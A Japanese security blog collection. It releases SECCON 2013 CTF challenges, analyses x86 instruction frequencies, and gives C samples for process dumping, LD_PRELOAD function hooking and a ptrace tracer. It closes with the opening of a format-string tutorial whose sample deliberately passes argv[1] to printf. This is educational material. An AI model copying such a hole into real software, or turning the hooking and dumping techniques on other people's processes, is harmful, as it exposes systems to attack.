SECCON2013で出題した問題一式を公開しました。
去年(2013年)から今年にかけてSECCON2013というセキュリティコンテストの運営に参加させていただきました。主に問題作成担当だったので、もし参加された方がいましたら、いくつかの問題は私が作成したものだったかもしれません。
そのSECCONも先週末(3月1~2日)の決勝戦を終えてひとまずひと段落となりましたので、この1年で出題された(私が作った)問題一式を可能な限り公開したいと思います。
50000枚のアセンブラ短歌画像から 0609 と表示されるものを探せ
http://07c00.com/tmp/tanka5t-50000.zip
これは決勝戦で出題された問題(の一部)です。50000枚の画像がZIP圧縮されており、1枚1枚にはアセンブラ短歌(マシン語列)が書かれています。その中から 0609 を表示するものを探す問題でした。画像からテキスト(コード)を抽出し、それを実行するコードを書く必要があります。
問題作成においてはマシン語を私(愛甲)が、画像化部分を竹迫氏が担当しています。またアセンブラ短歌は書籍にもなっています(私も少し書かせていただいています)。もし興味があればぜひ買ってみてください。
31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?
- 作者: 坂井弘亮,愛甲健二,松田和樹,坂井丈泰,竹迫良範
- 出版社/メーカー: マイナビ
- 発売日: 2014/01/16
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
暗号解読
こちらは暗号の問題です。SECCON2013オンライン予選にてCrypt300として出題されました。暗号解読というタイトルで上記の画像が1枚渡される問題です。知っていればとても簡単で、楕円暗号の問題ですね。ビット数が小さいため簡単に解読が可能です。
CTFではあまりコアな暗号が扱われない(古典暗号ばかりの)ため、こういった新しめの暗号も扱ってほしいなぁと個人的に思って、今回は自分で作ってみた感じになりました。近代暗号の脆弱性なんかを扱った問題とかも面白いと思うので機会があれば作ってみたいと思います。
解法はSECCONオンライン予選のwrite-upをまとめたサイトがありますので、ここのプログラミング・cryptの300を見てみてください。何人かの方がwrite-upを書いてくださっています。
Enjoy the Game
http://07c00.com/tmp/game_seccon2013_online.zip
続いても、同じくSECCON2013オンライン予選で出題された問題です。こっちはBin100として出題されました。Windows/x64で動作する(ダンジョン探索系の)ゲームで、クリアすればパスワードが表示されます。
迷路のようになっており、クリアするためには隠し通路(というか通り抜けできる壁)を探す必要があります。解法はいろいろありますが、基本は実行ファイルを解析してクリア条件を満たすように修正する問題となります。Windows/x86だと便利なツールが出揃っていて簡単に解ける問題なのですが、逆にツールに頼りきってしまってベースとなる知識や技術がないがしろになったりもするので、あえてx64で出題した問題でした。これも解法はSECCONオンライン予選のwrite-upをまとめたサイトから確認できると思います。
Shellcoder's Challenge と Hack this site!
Shellcoder's ChallengeはSECCON関西(大阪)大会にて実施したバイナリ系のコンテストです。これは会社のブログで詳しく書いてたりしますので、そちらを参照ください。
Hack this site!は、SECCON2013オンライン予選でBin500として出題された問題です。
Shellcoder's Challengeのシステムには思いっきり脆弱性があったため、それをそのまま問題にしてしまった感じなのが実はオンライン予選のBin500でしたw
Shellcoder's ChallengeとHack this site!は問題のソースコード一式をGitHubに公開しているので、興味がある方はそちらを参照してください。
私が関わった問題はだいたいこんな感じです。実際は他にもまだまだあったとは思うのですが、ちょっと覚えてなかったり、コードや問題ファイルがすでに紛失していたり、似た問題だったりといった感じだったりすると思うのでまたの機会にさせていただきます。
最後にSECCON2013に参加された方々お疲れ様でした。自分も以前少しだけCTFをやってたことがあるのですが、これほど勝負はときの運だなぁと感じるものもないと思いました。大会によって出題傾向は変わるし、ルールも毎回変わるし、扱われる技術分野は広すぎだしである程度運ゲーを覚悟してた感がありました。ただ、技術分野が広いからこそすごく勉強になるし、興味がなかった、学ぶ機会がなかった分野の知識も否応なくついて、すごくスキルアップを実感できた感もあり(あとめちゃくちゃすごいやつに出会えたりもしてw)、まぁ楽しかったなぁという経験があったことが今回SECCONに協力させてもらった理由のひとつでした。今後のSECCONがどうなるかは分かりませんが、DEFCON CTFのように長く続き、そして海外からも参加者がくるような大きな大会になればいいなと思います。本当にお疲れ様でした。
CodeIQブロクさんに寄稿させていただきました。
バイナリ、アセンブラ短歌、CTF、セキュリティ関係の内容でCodeIQブログさんに寄稿させていただきました。良かったら読んでみてください。
バイナリアンになろう!
http://codeiq.hatenablog.com/entry/2013/11/11/130145
CodeIQとは競技プログラミングやCTFとはまた少し違い、実務よりのスキル評価サービスです。もしこれらに興味があればぜひやってみてください。
アセンブラ命令(x86)をクラスタリングしてみた。
以前、出現頻度の高いアセンブラ命令を調べてみる。という記事で命令ごとの出現頻度を調べました。あのときはWindows環境でProgram Files以下のPEファイルを対象にデータをとりましたが、今回はFreeBSDのlibcを対象にデータをとってみたいと思います。
まずはobjdumpでlibcを逆アセンブルした結果をもとに出現頻度を集計します。
01. mov 15138 11. pop 1370 21. cmpl 211 02. lea 2068 12. jne 1180 22. sar 210 03. jmp 2018 13. sub 1067 23. cmpb 202 04. movl 2012 14. push 1037 24. ja 197 05. test 1977 15. and 808 25. jbe 191 06. call 1958 16. xor 717 26. movb 181 07. je 1815 17. ret 583 27. shr 176 08. add 1605 18. or 467 28. shl 159 09. nop 1572 19. movzbl 392 29. imul 140 10. cmp 1498 20. jle 291 30. addl 140
Windows環境と比べてどうでしょうか。上位陣はわりと安定してますね。今回はobjdumpで逆アセンブルしたのでmov、movl、movbが別々にカウントされていたり、int3の代わりにnopが増えていたりとデータの取得方法の違いによる誤差がありますが、まぁ順位については大きな影響はないと思います。
続いて、命令Xが出現したとき次に命令Yが出現する確率を算出します(縦X、横Y)。
mov | lea | jmp | movl | test | call | je | add | nop | |
mov | 41599 | 03531 | 05239 | 03552 | 07038 | 08394 | 01389 | 04034 | 00192 |
lea | 37892 | 14269 | 03197 | 05802 | 02131 | 05092 | 01243 | 06986 | 00118 |
jmp | 38005 | 19701 | 00349 | 06683 | 01496 | 03042 | 00000 | 02195 | 08229 |
movl | 33499 | 01342 | 08598 | 27137 | 01392 | 15060 | 00348 | 05268 | 00099 |
test | 14365 | 00860 | 00051 | 00303 | 00000 | 00000 | 44562 | 00000 | 00658 |
call | 40133 | 03272 | 12372 | 09049 | 17740 | 01840 | 00000 | 04346 | 01074 |
je | 47658 | 03912 | 02645 | 05675 | 04187 | 02534 | 00000 | 04518 | 00386 |
add | 33167 | 02993 | 02993 | 03241 | 03615 | 02057 | 01309 | 06234 | 00000 |
nop | 01847 | 07813 | 03479 | 00355 | 00000 | 00213 | 00639 | 00213 | 83452 |
先頭の0.を省いているので、例えばmovが出現したあとさらに次もmovである確率は0.41599、次がnopである確率は0.00192という感じです。ざっと眺めてみると、testのあとにjeが来る確率は0.44562と非常に高くなっていたり、出現頻度の高さからmovが常に高い値を示していたり、またnopが連続する確率が0.83452となっていたりといろいろと興味深いものになっています。
ではこのデータを使って命令をクラスタリングしてみます。今回は R を使いました。
> data2<-read.csv("C:\\cnts.csv",header=T,row.names=1) > plot(hclust(dist(data2,"canberra"),"ward"),hang=-1)
出現頻度の高い上位32命令をクラスタリングした結果が上の図です。「次に出現する命令」という特徴で分類していますが、わりとうまい具合に似た命令が集まっています。
左端のグループはcmp、testが集まっています。いわゆる条件分岐系ですね。おそらく次にくる命令にje、jneといったものが多いためこのようになったと推測できます。逆にjmp系命令は別々のクラスタに分かれています。これは興味深いですね。je、jneといった単純なイコール比較はcallやjmpと似ており、jle、jg、jaといったものとは別のクラスタになっていますね。なかなか興味深い結果です。個人的にはimulがshrやshlと同じところにいるのが気に入りました。
逆に気に入らないのはnopの場所です。命令の性質上もっと独立しているべきだと思いますが、普通にpush、popと同じ辺りに割り当てられています。この辺りは微妙ですね。
ちなみにkmeansで6つに分けるとちゃんとnopが独立していました(ただ他の命令が微妙な感じですがw)。
> data2.kms<-kmeans(data2,6) > data2.kms$cluster mov lea jmp movl test call je add nop 6 6 6 6 4 6 6 6 3 cmp pop jne sub push and xor ret or 4 1 6 6 2 5 6 6 2 movzbl jle cmpl sar cmpb ja jbe movb shr 5 2 4 5 4 6 6 6 5 shl imul addl js jg 5 5 6 6 6
こんな感じでアセンブラ命令を解析してみるのも面白いかもしれません。
続く…かも?
アセンブラ命令とマシン語で相互変換したい。
OllyDbgの作者が(おそらくOllyDbg内で使っていると思われる)80x86 32-bit Disassembler and Assemblerをソースコード含めて公開しています。サイズも小さく、勉強にはもってこいなのでここで紹介したいと思います。
ソースコード一式は上記サイトからダウンロードできるのですが、そのままだとVisual C++ 2010 Express版ではビルドが通りませんので、少し修正する必要があります。ソースファイルは以下の5つです。
これらを適当にプロジェクトに追加してビルドすると、pow10l、strupr、trlwr、strnicmp、memicmpあたりの関数がない(とかdeprecatedだとか)と言われて警告なりエラーなりが出ます。またdir.hがないとも言われると思います。
とりあえず足りない関数はこんな感じで自前で実装してあげます。dir.hはコメントアウト、string.hもコメントアウトでOKです(以下の関数を追加すれば)。
long double pow10l(long double x) { return powl(10, x); }
char *strupr(char *s) { char *p = s; while (*s){ *s = toupper(*s); ++s; } return p; }
char *strlwr(char *s) { char *p = s; while (*s){ *s = tolower(*s); ++s; } return p; }
int strnicmp(const char *s1, const char *s2, size_t len) { unsigned char c1, c2; if (!len) return 0; do { c1 = *s1++; c2 = *s2++; if (!c1 || !c2) break; if (c1 == c2) continue; c1 = tolower(c1); c2 = tolower(c2); if (c1 != c2) break; } while (--len); return (int)c1 - (int)c2; }
int memicmp(const void *s1, const void *s2, size_t n) { int dif; unsigned char *b1 = (unsigned char *)s1; unsigned char *b2 = (unsigned char *)s2; for (; n-- >0; b1++, b2++ ){ dif = toupper(*b1) - toupper(*b2); if (dif != 0) return(dif); } return 0; }
またセキュリティがどうのこうのとも警告されるので、気になるようならすべての.cファイルで_CRT_SECURE_NO_WARNINGSをdefineしてください。
#define _CRT_SECURE_NO_WARNINGS
以上を適用したものをGitHubに公開しています。
実行するとテストプログラム(main.c)の結果が表示されますが、自前で書くとこんな感じになります。
int main() { t_disasm da; t_asmmodel am; char errtext[1024]; char pasm[] = "mov ecx,esp"; unsigned char hex[] = { 0x8b, 0xcc }; int len, i; // mov ecx,esp Disasm((char *)hex, sizeof(hex), 0x400000, &da, DISASM_CODE); printf("8b cc = %s\n", da.result); // 8b cc len = Assemble(pasm, 0x400000, &am, 0, 0, errtext); printf("mov ecx,esp = "); for(i=0; i < len; i++) printf("%02x ", am.code[i] & 0xff); printf("\n"); return 0; }
C:\>asmdisas.exe 8b cc = MOV ECX,ESP mov ecx,esp = 8b cc
それぞれ相互変換できています。全ソースコードも3000行ちょっとと読みやすい感じになっていますのでアセンブラの勉強に役立つかもしれません。
jubatusハンズオン ~EC2で分散実行編~ に参加してみた。
ハンズオン形式の勉強会、jubatusハンズオン ~EC2で分散実行編~に参加してきました(資料も公開されています)。
自分そもそも分散処理という単語にはまったくの無縁で、完全シロウトだったので参加を見送ろうと思ってたのですが、ただ第1回目のjubatusハンズオンが本当に分かりやすく面白かったので、そのノリで今回も参加登録してみました。また、そもそも分散処理ってどうやってハンズオンするんだろうとも思ってましたが、Amazon EC2を利用するという新しい試み。
参加したあとに、これは復習しておかないと忘れるなーと思ったのでついでにpptにしてslideshareに公開しました。興味ある方はご参考にでも。
今回のハンズオンは、分散処理シロウト勢で(Amazon EC2とかも一切使ったことない自分みたいな人で)も普通に分かるほどの親切資料満載ですごい分かりやすかったので、参加して本当によかった感じでした。
プロセスダンプするプログラムを作成してみよう!
Windows環境においてプロセスをダンプするにはMiniDumpWriteDumpを使います。
BOOL WINAPI MiniDumpWriteDump( _In_ HANDLE hProcess, _In_ DWORD ProcessId, _In_ HANDLE hFile, _In_ MINIDUMP_TYPE DumpType, _In_ PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, _In_ PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, _In_ PMINIDUMP_CALLBACK_INFORMATION CallbackParam );
第1、第2引数は対象となるプロセス、第3引数は作成するダンプファイルのハンドル、そしてダンプファイルにどこまでの情報を含めるかは、第4引数DumpTypeで指定します。__try__exceptでエラーを検知してそのタイミングでMiniDumpWriteDumpを呼び出し、ダンプファイルを作成してみましょう。
サンプルコードは以下になります(全サンプルファイルはGitHubにあります)。
// dump01.cpp // #include <windows.h> #include <tchar.h> #include <dbghelp.h> #include <stdio.h> #include <crtdbg.h> #pragma comment (lib, "dbghelp.lib") void CreateDump(EXCEPTION_POINTERS *pep, int level) { TCHAR szFilePath[1024]; GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)); _tcscat_s(szFilePath, _T(".dmp")); HANDLE hFile = CreateFile(szFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE){ _tprintf(_T("CreateFile failed. Error: %u \n"), GetLastError()); return; } MINIDUMP_EXCEPTION_INFORMATION mdei; mdei.ThreadId = GetCurrentThreadId(); mdei.ExceptionPointers = pep; mdei.ClientPointers = FALSE; MINIDUMP_CALLBACK_INFORMATION mci; mci.CallbackRoutine = NULL; mci.CallbackParam = 0; MINIDUMP_TYPE mdt; switch(level) { case 0: mdt = (MINIDUMP_TYPE)(MiniDumpNormal); break; case 1: mdt = (MINIDUMP_TYPE)( MiniDumpWithIndirectlyReferencedMemory | MiniDumpScanMemory); break; case 2: mdt = (MINIDUMP_TYPE)( MiniDumpWithPrivateReadWriteMemory | MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithUnloadedModules); break; default: mdt = (MINIDUMP_TYPE)( MiniDumpWithFullMemory | MiniDumpWithFullMemoryInfo | MiniDumpWithHandleData | MiniDumpWithThreadInfo | MiniDumpWithUnloadedModules); break; } BOOL rv = MiniDumpWriteDump( GetCurrentProcess(), GetCurrentProcessId(), hFile, mdt, (pep != NULL) ? &mdei : NULL, NULL, &mci); if(rv == FALSE){ _tprintf(_T("MiniDumpWriteDump failed. Error: %u \n"), GetLastError()); } CloseHandle(hFile); return; } int main(int argc, char* argv[]) { int dumplevel = 0; // dumplevel: 0-3 if(argc >= 2) dumplevel = atoi(argv[1]); __try { *(DWORD *)0 = 0x12345678; }__except( CreateDump(GetExceptionInformation(), dumplevel), EXCEPTION_EXECUTE_HANDLER) { _tprintf( _T("Dumped!!\n")); } return 0; }
VisualStudio 2010 Express版でビルドしました。
引数に0から3までのいずれかの値を指定するとダンプファイル(ファイル名に.dmpを追加したもの)が作成されます。
C:\dumpXX\Release>dump01.exe 0 Dumped!! ※同じフォルダにdump01.exe.dmpというファイルが作られる
引数には、ダンプファイルにどれだけの情報を含めるかを表すレベルを指定します。0が最小ダンプ、3が完全ダンプとなります。それぞれswitch文で分岐しているMINIDUMP_TYPE mdtの値によって決まります。
このサンプルでは自分自身(自プロセス)をダンプしていますが、MiniDumpWriteDumpに渡すプロセスIDを任意に指定することで他プロセスもダンプできます(dump03.cppを参照のこと)。MiniDumpWriteDumpのhProcessとExceptionParamはNULLでも問題ないようですが、一応セットできるときはセットしておきましょう。
プロセスダンプに関する詳細は、英語のサイトですがEFFECTIVE MINIDUMPSがかなり詳しいです。
LD_PRELOADで関数フックしてみよう!
「たのしいバイナリの歩き方」の4章でWindows環境におけるAPIフックについて解説しました。今回はLinux環境についても解説しましょう。
Linux環境(Ubuntu 12.04.2)ではLD_PRELOADという環境変数を使うことで似たようなことが可能です。LD_PRELOADでググってみるとサンプルコードがいくつも見つかります。
試しにwriteをフックする例を示しましょう。
// test.c // $ gcc test -o test.c #include <string.h> #include <unistd.h> int main() { char s[] = "Hello World!\n"; write(1, s, strlen(s)); return 0; }
$ gcc test.c -o test $ ldd test linux-gate.so.1 => (0xb7771000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000) /lib/ld-linux.so.2 (0xb7772000)
// hook.c // $ gcc -fPIC -shared -o hook.so hook.c -ldl #include <unistd.h> #include <dlfcn.h> #include <stdio.h> int g_first = 0; void *g_h; ssize_t (*g_f)(int, const void *, size_t); ssize_t write(int fd, const void *buf, size_t count) { if(g_first == 0){ g_first = 1; g_h = dlopen("libc.so.6", RTLD_LAZY); g_f = dlsym(g_h, "write"); } printf("call write\n"); return (*g_f)(fd, buf, count); }
$ gcc -fPIC -shared -o hook.so hook.c -ldl $ LD_PRELOAD=./hook.so ./test call write Hello World!
LD_PRELOADに設定した.soファイルが持つ同名関数は優先して実行されます。なのでlibc.so.6が持つwriteを無視してhook.soのwriteが実行されました(結果call writeが表示)。そのhook.soのwrite内であらためてlibc.so.6のwriteを呼び出せばフック完了です(通常どおりHello World!が表示)。
ptraceを使ってみよう!
「たのしいバイナリの歩き方」では4章で簡易的なデバッガの作成を解説しています。ただWindows環境での話でした。ptraceを使うことで、同じようなことをLinux環境(Ubuntu 12.04.2)でも実現できます。基本的な仕組みはWindowsのときと同じです。
試しにやってみましょう。
// dbg.c // $ gcc -Wall dbg.c -o dbg #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <errno.h> void err(char *str) { fprintf(stderr, "ERROR: %s\n", str); } void target(char *argv[], char *argp[]) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL) != -1) execve(argv[0], argv, argp); else err("PTRACE_TRACEME"); exit(0); } void controler(int pid) { int status; struct user_regs_struct regs; while(1){ waitpid(pid, &status, 0); if(WIFEXITED(status)) break; ptrace(PTRACE_GETREGS, pid, 0, ®s); printf("%08x: \n", (unsigned int)regs.eip); ptrace(PTRACE_SINGLESTEP, pid, 0, NULL); } } int exec_prog(char *argv[], char *argp[]) { int pid; switch(pid = fork()) { case 0: target(argv, argp); break; case -1: err("FORK"); break; default: controler(pid); break; } return 0; } int main(int argc, char *argv[], char *argp[]) { if(argc < 2){ fprintf(stderr, "%s <args>\n", argv[0]); return 1; } argv++; exec_prog(argv, argp); return 0; }
// target.c // $ gcc target.c -o target #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { if(argc != 2){ printf("%s <PASSWORD>\n", argv[0]); return 1; } if(strcmp("BINARY", argv[1]) == 0) printf("OK!\n"); else printf("ERR\n"); return 0; }
$ gcc target.c -o target $ gcc -Wall dbg.c -o dbg $ ./dbg target > eiplog $ cat eiplog | more b77551d0: b77551d2: b7758c80: b7758c81: b7758c83: b7758c84: (省略)
4章まで読まれた方なら動作概要は容易に理解できるかと思います。基本的に、ptrace関数に渡す第1引数によって動作が異なります。
PTRACE_ATTACH | 任意のプロセスにアタッチ |
PTRACE_DETACH | デバッギからデタッチ |
PTRACE_KILL | デバッギを強制終了 |
PTRACE_TRACEME | 自身がデバッギになる |
PTRACE_PEEKDATA | (デバッギの)メモリ空間を読む |
PTRACE_POKEDATA | (デバッギの)メモリ空間へ書く |
PTRACE_GETREGS | (デバッギの)レジスタを取得する |
PTRACE_SYSCALL | 実行し、システムコールの前後で停止する |
PTRACE_SINGLESTEP | 実行し、1命令処理後に停止する |
ここに挙げた以外にもめちゃくちゃたくさんあるのですが、説明しきれないので詳細はman ptraceを見てください。これをベースに作り込むと、いろいろと便利なものが作れます。2年ほど前に私が書いたものもぜひ参考にしてみてください。
アセンブラかるたを極めたい。
SECCON2013 横浜大会にて「アセンブラかるた」というものが扱われました。詳しくはリンク先を見てほしいのですが、一言でいうと"x86の1バイト命令を使ったかるた"です。例えば、表が0x90なら裏はNOPとか、そんな感じ。
このアセンブラかるた、極めるのは実はそんなに難しくありません。1バイト命令である以上、扱われる命令は最大でも256個しかないわけです(実際はもっとずっと少ない)。
つまり、これを全部覚えればOK!
最初に覚えるポイントとしては、まず0x4Xはincとdec、0x5Xはpushとpopを覚えましょう。そして0x9Xの前半はxchg。これだけでとりあえず初心者には勝てるようになります。レジスタの順番は固定なので暗記するところも少ないです。
それらを覚えたら、次は全体的な配置です。似たような命令はだいたい同じところに固まっていますので"こういう命令はこの辺にある"みたいなざっくりとした全体図を覚えておけば、それだけで推測できます。これは1バイト命令に限らず、2バイト以上の命令でも同じです。全体的な雰囲気がつかめれば、たとえすぐには分からなくとも思い出しやすくなります。
そしてもちろん、全部覚えてしまったら完璧です。あとは速度だけの問題になるでしょう。というより、1バイト命令をすべて覚えてしまうのはそれほど難しくなく、かつ、覚えてしまった同士の対決だと普通の"かるた"と同じです。なので、極めた同士の対決だとただのかるた勝負になりそうですがw、それはそれでまた楽しいんじゃないかと思います。
そしてこれ、2バイト命令版とか3バイト命令版とかも作れそうですが、2バイト命令ならまだしも3バイト以上になるとかなり厳しい勝負になるんじゃないかというか、そもそもぼく2バイトすらろくに覚えてないからきっと実際やるとなったらまったく勝てないと思います。いまのうちに覚えておこうかなw
「たのしいバイナリの歩き方」が無事発売されました。
正確には8/22に発売されているのですでに発売後5日目(?)なのですが(汗)、無事発売までこぎつけることができました。
- 作者: 愛甲健二
- 出版社/メーカー: 技術評論社
- 発売日: 2013/08/22
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
入門者向けなので、アセンブラを読んだことがあるくらいの人には少しもの足りない内容かもしれません。書籍内で扱うソースコード等一式はGitHubに公開していますので、購入する際の参考にしてください。
当ブログでも、書籍に書けなかった内容などを随時更新していこうと思っていますので、ぜひよろしくお願い致します。
シリツ・プログラミングキャンプ2013に参加してきました。
シリツ・プログラミングキャンプ2013に参加してきました。
シリツ・プログラミングキャンプとは、そもそも遥か昔、セキュリティ&プログラミングキャンプという学生向けのイベントがあったのですが、それが2012年以降プログラミングコースがなくなり、セキュリティキャンプというイベントに変わってしまいました。セキュリティしか扱わないとなると、プログラミングに興味がある学生は参加できません。
そんな中で@umisamaさんが企画したのがシリツ・プログラミングキャンプです(ちなみにセキュリティキャンプとは一切関係ないようです)。
私は去年は参加できたのですが、今年は参加者が多く補欠となってしまいました。今年は参加できないかなと思ってたのですが、当日になって参加している人から連絡があり、まだ余裕ありそうってことで急きょ途中参加させてもらいました。
基本的に何かを作って各自それを披露するというだけのイベントで、まさにプログラミングキャンプのノリです! 発表内容は本当に多種多様で、カーネルランドからemacsをkillするプログラムを作ってた人、pagefaultでステルスなbreakpoint作ろうとしてた人、プロジェクターに繋げるたびにPCがフリーズしてた人などなど、なんでもあり状態でした。
そして今回私が発表に使ったのがアセンブラテトリスになります。
落ちてくる16進ブロック(4bit単位)を組み合わて機械語(x86)を構成するという少し変わったテトリスです。ラインが消えるとき、そのラインに書かれてあるHexデータを逆アセンブルし、正常に逆アセンブルできたら得点が入ります。できなければinvalidとなり、ラインが消えるだけです。まだα版でテスト用に公開しているだけの絶賛開発中状態でいろいろと不備があるかもしれません。右上の黒いところも現時点では特に意味ないです。いや本当は消した機械語をここで実行できるようにしようと思ったのですが、無理ゲーすぎたので別のルールを考え中です。
こういう"よく分からないもの"を発表できるってのもシリツ・プログラミングキャンプのよいところだと思います。
ちなみに東京大会は終わりましたが、関西大会は今週末にあるようです。興味があれば(そして関西在住の方は)ぜひ参加してみてください。
セキュリティ・キャンプ2013に参加してきました。
セキュリティ・キャンプ2013に参加してきました。
セキュリティ・キャンプとは、情報セキュリティについて本格的に学びたいという意欲を持った学生(22歳以下)向けの合宿イベントで、毎年夏に開催されています。今年は海浜幕張駅から歩いて数分のクロス・ウェーブ幕張にて、4泊5日で開催されました。
今年は様々なメディアさんにも取材されており、すでにいくつか記事も上がっています。
会場の画像です(なぜか夜ですがw)。
今年のセキュリティ・キャンプで扱われた分野(クラス)は「ソフトウェアセキュリティクラス」「Webセキュリティクラス」「ネットワークセキュリティクラス」そして「セキュアなシステムを作ろうクラス」の4つでした。
ソフトウェアセキュリティクラスは名前からすると少し分かりにくいですが、主にバイナリ系を扱うクラスで、バッファオーバーフロー、DEP、ASLR、ROP辺りがキーワードになります。Webセキュリティクラスは、主にブラウザ上で動作するアプリケーションのセキュリティに関する技術を扱うもので、キーワードはXSS、SQLインジェクション、CSRFなどです。そしてネットワークセキュリティクラスは、その名の通り(TCP/IPを中心とした)ネットワークにフォーカスしており、パケット解析、MalwareやExploitなどからの攻撃検知や、ネットワークに繋がる各種機器へのファジングといったことが題材になるようです。
最後にセキュアなシステムを作ろうクラスについてですが、このクラスはさらにゼミという形式で扱う内容を参加者ごとに分けており一概に説明できないのですが、12ステップで作る組み込みOS自作入門の著者である坂井弘亮氏や、30日でできる!OS自作入門の著者である川合秀実氏が講師で参加されてることから、OSにどうセキュリティを組み込むかといった点にフォーカスしたクラスのようでした。
各クラスどういった内容を扱うのかは、応募用紙からも推測できると思います。
セキュリティ・キャンプの講義は、各クラスに分かれてやる"専門"と、全クラス合同でやる"共通"があります。その他にもBoFといういくつかの講義から参加者が選んで参加できるものもあるのですが、基本はこの2つです。
1日目はすべて共通の講義で、特別講義とグループワークがありました。
特別講義では、独立行政法人 情報通信研究機構(NICT)の井上大介氏をお呼びして「可視化システム」についての講義がありました。DAEDALUS、NIRVANAは井上氏のチームが開発した可視化システムです。
そもそもソフトウェアはデータであり、物質として目に見えるものではないです。キーボードをカタカタ入力して$が#に変わっても技術者ではない普通の人には何が起こったのか分かりませんし、facebookでalertが出せてもそのクリティカル度合いを測れません。なんさま目に見えないので、すごさも危険性もまったく分からないわけです。しかしネットワークからの攻撃やシステムの状態を可視化することで、専門的なことは分からなくともなんかヤバそう、とか、なんとなくすごい、みたいなことをイメージしやすくなります。
またこういった可視化の技術は、プレゼンテーションにおいてもとても映えます。本当に井上氏の講義はすごく面白く、またカッコよかったです。まさに可視化を研究されてる人ならではのプレゼンテーションだと感じました。
グループワークについても紹介しておきましょう。
グループワークというのは、全クラスの参加者をまぜこぜにして11つほどグループを作り、各グループで自由に発表したいことを作り出す講義(?)です。最終日に各グループ5分間だけプレゼン時間が与えられ、その時間内で好きなことをプレゼンテーションできます。毎年参加者は自由すぎる発想を持っており、今年はトイレのセキュリティだったり、二次元と三次元を繋げる方法だったりと、例年のごとくフリーダムでした。既存技術や実現方法にとらわれず、なんでもかんでも話せるところグループワークの魅力だと思います。
2日目~4日目午前までは、主に専門講義になりますが、その前に3日目の夜のBoFについて書いておきたいと思います。
BoFというのは選択式の講義で、用意されたいくつかの講義から参加者が選んで参加できるというものです。大学の授業と似ているかもしれません。ちなみにここで用意されている講義は専門とはまったく別のもので、また技術的な内容以外も扱われます。どちらかというとグループワークと似ており、講義というより議論といった感じで、参加者もいっしょに考えてもらう形式です。用意された講義には、セキュリティ分野のキャリアプランからアセンブラ短歌まで、本当に多種多様なものがありました。
2日目以降は、BoF以外の時間は基本的に専門講義にあてられます(本当は企業見学やチュータープレゼンなども入っているのですが、これは講義ではないので)。
私は2010年から講師としてソフトウェアセキュリティクラスに参加しており、今年で4回目となります。去年までずっと"マルウェア解析演習"を講義に入れていたのですが、今年は初めて、脆弱性攻撃一本でいくことになりました。マルウェア解析を楽しみにしていた参加者もいて申し訳なかったのですが、その分、脆弱性攻撃について深く扱えたのかなと思っています。
脆弱性攻撃もいまは複雑化しており、キャンプ期間中にすべてを伝えるのはとても難しいのですが、まずはLinux環境でサンプルプログラムに対してExploitingを試してもらい、続いてWindows環境でのshellcode作成と防御手法を考える、そして最後に実際に発見されたAdobe Readerの脆弱性を利用するExploitを解析してもらうという流れで進みました。正直な話をいうともう少しカリキュラムを減らした方がよかったかなとも思いましたが、扱った内容をサイボウズライブに公開すればキャンプが終わってからも勉強は続けられるため、期間中は多少無理をしてもたくさんのことを扱うことにしました。
また、たのしいバイナリの歩き方を編集の方に無理をいって、参加者(10名)分+α送っていただきました。技術評論社さん、本当に感謝です!
専門は4日目の午前中までにすべて終わり、4日目午後からはCTFになります。CTFとはセキュリティコンテストの一種で、様々なセキュリティ分野における課題が出題され、それを解いて得点を得る形式の競技です。またキャンプのCTFでは授業で扱った内容やそれに近いものも多く出題されるため、復習的な意味合いもあります。
CTF自体は世界的にもさまざまな国で開催されており、日本でも2012年にキャンプとは別にSECCON CTFというものが国内の学生向けに開催されています。2013年からは学生、社会人問わず、誰でも参加できるようになり、キャンプも終わってすぐですが、さっそく8/22~23にかけてSECCON×CEDEC CHALLENGEと題し、横浜大会が開催されます。もしCTFに興味がわいたら、SECCON CTFに参加してみるのもよいかもしれません。
そして最終日の5日目です。
最終日は、グループワークの発表、各クラスの発表と、参加者にとっては発表が続きます。正直、プレゼン資料を作ったこともない、人前で発表したこともないという学生が、キャンプ期間中というとても短い時間で演習をやり、プレゼン資料を作り、それを全員の前で発表するという、よく考えるとものすごいスケジュールになっていると思いますが、それでもなんだかんだでそれをこなしている参加者は本当にすごいと思いますし、逆に本気出せばここまでやれる人たちが集まっているのかなという感じもします。また5日目は講師にとっては一番楽しみな日でもあります。グループワークも各クラス発表も参加者がどんなことを話してくれるのかわくわくしています。
発表内容は各クラスそれぞれで、脆弱性を調査、解析したり、セキュリティ機能を作ったり、ファジングしたりと様々です。クラスでやることは毎年異なっているのですが、今年はより実践的な内容が多かったように思えます。
そんなこんなで発表は終わり、表彰式→閉会式でキャンプは終了となります。
私はやっぱり「技術を楽しんでほしい」ってのが一番意識していることなので、参加者から「スゲー楽しかったです」という感想をもらえると「よっしゃー!」って感じになります。結局のところ、楽しいという原動力がなければ10年以上何かを続けることは難しいんじゃないかと思います。
というわけでセキュリティ・キャンプ2013のレポートは終わりです。
これからじょじょにアップされるであろう参加者のレポートを楽しみにしながら、私自身も学生に負けないように技術を磨いていこうと思います。参加者のみなさんお疲れ様でした。そして来年以降、キャンプに挑戦してみようと考えている方は、ぜひ今年の応募用紙をみて、来年に向けて勉強していってください。少しずつでも続けている(前に進んでいる)ことが大事だと思います。
では参加者のみなさん、お疲れ様でした!
フォーマットストリングバグ(format bug)を試してみる。
今回はフォーマットストリングバグ(format bug)について書きます。わりとマイナーな脆弱性で現在ではほとんどみないのですが、技術的に興味深いものなので知ってても損はないと思います。テスト環境はFreeBSD8.3(x86)です。
ターゲットとなるプログラムはこんな感じです。
// sample10.c #include <stdio.h> int main(int argc, char *argv[]) { printf(argv[1]); // printf("%s", argv[1]); return 0; }
